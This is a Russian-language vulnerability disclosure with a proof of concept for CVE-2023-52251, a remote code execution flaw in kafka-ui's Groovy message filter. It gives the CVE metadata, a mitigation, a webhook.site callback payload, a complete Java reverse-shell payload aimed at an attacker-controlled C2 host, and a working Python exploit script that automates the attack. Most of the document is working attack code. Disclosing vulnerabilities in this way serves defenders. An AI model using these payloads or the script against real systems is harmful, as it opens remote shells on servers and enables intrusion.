CVE-2023-52251-POC

Существует уязвимость удалённого выполнения кода в provectus/kafka-ui. На момент написания патча нет, но вендор уведомлён нами и командой из VINCE без какого-либо ответа. Отчёт был отправлен 27 сентября 2023 года в provectus как по электронной почте, так и через GitHub Security.

Исправление

Мы рекомендуем как минимум закомментировать всю функцию groovy-фильтра или добавить аутентификацию.

Метаданные

Название	Значение
CVSS String	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H
CVE ID	CVE-2023-52251
CVS Description	provectus kafka-ui 0.4.0-0.7.1 была обнаружена уязвимость удалённого выполнения команд (RCE) через параметр q в /api/clusters/local/topics/{topic}/messages
CVSS Score	9.x
CWE	CWE-94: Improper Control of Generation of Code ('Code Injection')
Vendor	Provectus
Product	kafka-ui
Link	https://github.com/provectus/kafka-ui
Affected Versions	0.4.0-0.7.1
Patched Versions	None
Contributors	Thingstad, BobTheShoplifter

Детали

Тип уязвимости: удалённое выполнение кода (RCE)

Затронутое ПО: Kafka-ui

Версия: [0.4.0-0.7.1]

Описание уязвимости

Groovy-скрипт фильтра не проходит санитизацию перед выполнением. Это позволяет атакующему выполнить произвольный код на сервере.

Ссылка на исходный код

В функции groovyScriptFilter «script» не санитизируется перед выполнением.

И выполняется через eval в движке:

var result = compiledScript.eval(bindings);

https://github.com/provectus/kafka-ui/blob/master/kafka-ui-api/src/main/java/com/provectus/kafka/ui/emitter/MessageFilters.java#58

PoC

Полные инструкции, включая конкретные детали конфигурации, для воспроизведения уязвимости.

Используя фильтр:

new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

Будет отправлен запрос на webhook с именем ОС сервера.

Развивая эту идею, мы можем использовать следующую полезную нагрузку для получения обратной оболочки (reverse shell):

String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Полезная нагрузка легко генерируется на https://www.revshells.com/.

Также был создан PoC на Python:

from time import sleep
import requests
import json
import urllib
import argparse

url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"


def get_clusters():
    global clusters
    clusterfetch = requests.get(url + '/api/clusters')
    clusters = clusterfetch.json()


def get_topics(cluster):
    topicfetch = requests.get(
        url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
    topics = topicfetch.json()['topics']
    return topics


def get_webhooks():
    webhookfetch = requests.post('https://webhook.site/token')
    webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
    print('URL Created: ' + webhook)
    token_id = webhookfetch.json()['uuid']
    headers = {"api-key": webhookfetch.json()['uuid']}
    return webhook, token_id, headers


def Exploit():
    try:
        get_clusters()

        cluster = clusters[0]['name']

        topics = get_topics(cluster)
        topic = topics[0]['name']

        webhook, token_id, headers = get_webhooks()

        checkpayload = 'new URL("'+webhook+'").text'

        rcepayload = 'String host="' + c2 + \
            '";int port='+port + \
            ';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'

        payload = rcepayload if mode == "rce" else checkpayload

        r = requests.get(
            url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
        print(r.text)

        r = requests.get('https://webhook.site/token/' + token_id +
                         '/requests?sorting=newest', headers=headers)

        if r.json()['data'] == []:
            print("No rce found")
        else:
            for request in r.json()['data']:
                print(request)
                print("Rce found")

    except KeyboardInterrupt:
        print("KeyboardInterrupt")
        pass